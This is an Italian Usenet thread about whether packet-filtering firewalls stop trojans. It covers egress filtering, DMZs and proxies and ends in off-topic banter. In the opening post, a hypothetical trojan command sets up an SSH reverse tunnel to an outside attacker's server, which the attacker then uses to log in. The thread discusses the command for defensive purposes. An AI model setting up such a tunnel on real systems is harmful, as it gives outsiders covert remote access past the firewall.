Newsgroup: it.comp.os.linux.sys
Titolo: Per i guru dei firewall. Considerazioni in merito ad i trojan.

Secondo voi un semplice firewall che fa solo da paket-filtering, e' in grado 
di contrastare un trojan-horse?
Quando si configura un firewall, solitamente (credo) si fa in modo che esso 
dia piena liberta' alla lan che esce su internet, e droopa tutto cio' che da 
internet entra in lan a parte che il traffico non sia related... e' giusto 
oppure no? Anche perche' se droppo tutto cio' che dalla lan esce su internet 
e apro le porte che servono non finisco piu', non credo che basti aprire 
80,21,443 etc... e tutte le porte alte poi dove le mettiamo? Quindi 
considero la prima situazione come "convenzionale". Ora cosa accade se un 
agente della ditta entra col portatile, cou un trojan che esce su internet e 
stabilisce un tunnel con una macchina fuori? Pensate ad una cosa del genere 
(un esempio stupido ma per rendere l'idea):
sul pc un trojan esegue:
ssh -R 5000:localhost:22 -l lamerone -N ip_server_lamerone
e poi il lamerone dal suo pc fa ssh -p5000 -l lamerone localhost..... a quel 
punto il firewall cosa puo' fare? Nulla no?
Allora vi chiedo, voi che ne sapete piu' di me, come vi parate da questi 
inconvenienti? 

 oppure no?
No.
-- 
cat: .signature: No such file or directory

 No.
Ok, mi era sembrato che fosse pratica comune.
Quindi tu invece cosa fai? Metti in drop di default anche la lan verso 
internet? E cosa apri per non incerrere in un milione di problemi poi?
Grazie 1000. 

  da abilitare
Perfetto, non occorre aggiungere altro.
Ti ringrazio molto. Ciao.

 Ok, mi era sembrato che fosse pratica comune.
Lo è. E infatti ci sono milioni di PC abusati lì fuori, ognuno dietro al 
suo firewall...
Tutto torna.


 inconvenienti? 
DMZ, se hai queste esigenze.
-- 
Massimo Bacilieri AKA Crononauta 
ICQ:4005815

 ognuno dietro al suo firewall...
LOL.
Ma verra' il giorno che ce ne saranno sempre meno di 'ste
situazioni e lo [spam|mal]ware comincera' anche a cercare 
i proxy, i mail server e le credenziali di autenticazione
configurati sulle macchine, e...
Fabio
PS: ovviamente nel thread si parla di malware "generico",
    "di massa", diciamo, e non progettato in modo mirato.

 configurati sulle macchine, e...
A giudicare dal mio auth.log, i tentativi di login su ssh ci sono già...
poi è chiaro che se uno ha configurato ssh in un certo modo, sta
relativamente tranquillo, se ce l'ha con l'accesso root abilitato e
password vuota, beh... è un altro discorso...


 configurati sulle macchine, e...
...e avremo i sistemi retroattivi, che individueranno le macchine 
trojanizzate e le piazzeranno dove non possono far danno, ecc...
Se ne parlava giusto ieri (non per te, ma per chi non segue inna): 
http://groups.google.it/group/it.news.net-abuse/browse_frm/thread/80907763857cda4c


 mai alla WAN.
Senti, ma mettere il proxy (ben configurato) direttamente sul firewall e' un 
idea tanto aberrante vero?
Per piccole ralta' non potrebbe essere una soluzione accettabile? 

 Per piccole ralta' non potrebbe essere una soluzione accettabile? 
Alla fine i tanto decantati firewall di layer 7 cosa sono, se non 
transparent proxy multiprotocollo ibridati con un packet filter?


 e password vuota, beh... è un altro discorso...
Darwin docet :-P Quello della selezione naturale, non quello
della mela.
Fabio

 
http://groups.google.it/group/it.news.net-abuse/browse_frm/thread/80907763857cda4c
Quell'articolo me l'ero stampato ma non ti dico dove l'ho letto
perche' potresti fraintendere. Sono approcci che avranno, molto
probabilmente, un buon effetto su vasta scala, ma probabilmente
saranno fonte di numerosi problemi nel rapporto con gli utenti,
finche' l'utente non capira' che nel caso d'un blocco si tratta
di un "servizio" e non un "disservizio". I veri problemi che mi
pare d'intravedere sono quello dei paesi emergenti, ad esempio,
quello dei costi collegati a queste infastrutture, o del fatto,
piu' in generale, di dover basare parte della propria sicurezza
sulla buona volonta' d'altri. Potrebbero non mancare deterrenti
contro gli "inadempienti" ma e' sicuramente una cosa complessa.
Fabio (tutto IMHO, eh)

 Per piccole ralta' non potrebbe essere una soluzione accettabile? 
Il problema principale, IMHO, e' che si aggiunge un nuovo vettore di 
attacco verso la macchina che implementa il firewall. Dove questo e'
un rischio che puoi considerare accettabile, per esempio perche' non
e' l'unica linea di difesa, o perche' assumi completamente fidata la
lan, ecc ecc, allora... e' accettabile per la tua situazione.
Fabio

 piu' in generale, di dover basare parte della propria sicurezza
Ti segnalo a tal proposito il paper del buon Suresh, se già non ti è 
passato per mano:
http://www.oecd.org/dataoecd/5/47/34935342.pdf
A tal proposito, potei far presente comunque che tutta InterBusiness, 
praticamente, è assolutamente allineabile ai "paesi emergenti".
L'Italia, quindi, dove si posiziona?
/me che qui siamo OT, comunque...


 Per piccole ralta' non potrebbe essere una soluzione accettabile? 
Sì.
L'importante è che non abbia condivisioni di cartelle o database,
insomma che abbia *solo* i servizi che in un qualche modo devono
comunque stare in frontiera ed essere esposti.


 della mela.
non ci sono altri Darwin, quello della mela è Newton ;-)
-- 
Fabrizio "Hermooz" Ermini

 Ehi! *Quella* mela non era di Turing?!?
Esatto, la mela avvelenata (come quella di Biancaneve) fu il metodo 
scelto da Turing per suicidarsi.
--
Alessio

 
magari qualche macintoshista ti può dire che non hai forse ragione :-)
-- 
Roberto Tagliaferri-Linux user #30785 <-> r.tagliaferri@(forse)
tosnet.it
Hanno chiesto a Jack Benny se voleva fare qualcosa per l'Orfanotrofio
degli Attori.  Cosi' lui ha sparato ai suoi genitori e ci e' andato.
		-- Bob Hope

 non ci sono altri Darwin, quello della mela è Newton ;-)
Ehi! *Quella* mela non era di Turing?!?
-- 


 non ci sono altri Darwin, quello della mela è Newton ;-)
http://developer.apple.com/darwin/
'gnorante :-)

 scelto da Turing per suicidarsi.
<;)>
Strano, mi pareva di ricordare che avesse per caso incrociato Guglielmo
Tell, il quale, vistolo con la mela in mano non ha saputo resistere e ha
tentato di ripetere senza successo il famoso giochetto che lo ha
consegnato alla leggenda.
</;)>
Scusate, non ho resistito.
-- 
Luca Corti
PGP Key ID 1F38C091

 E' assolutamente opportuno mettere il proxy in DMZ?
Non è che sia strettamente necessario, dipende dai casi. È che tu facevi
riferimento a un "di solito"... di solito i proxy, smtp, pop e altri
servizi di rete che hanno contatti con l'esterno si mettono in una DMZ.
Non è che sia obbligatorio che siano lì.


 E' una cavolata?
Si!
E potrebbe anche causare disastri, perchè se il proxy viene compromesso
tutta la LAN sarebbe compromessa e tutte le macchine connesse alla rete
diventerebbero estremamente vulnerabili. 
Per quanto riguarda la configurazione di un Firewall è fondamentale negare
tutto il traffico per poi abilitare solo i servizi necessari altrimenti non
serve a niente.
-- 
"Guardo Giuliano Ferrara alla TV, ma solo per vedere fino a che punto
puo' arrivare."
                -- Vasco Rossi

 </;)>
[snippino]
Al massimo, oggi, questo puo' valere per Steve Jobs. ;-)
Ciao,
-- 
      Ermanno Polli   (INFN-LNF)
    user:      hostname:  subdomain:  domain:  country:
ermanno.polli    N/A        lnf         infn     it

 diventerebbero estremamente vulnerabili.
Si ma essendo all'interno della lan non e' raggiungibile dall'esterno, lo
sarebbe se lo mettessi in DMZ.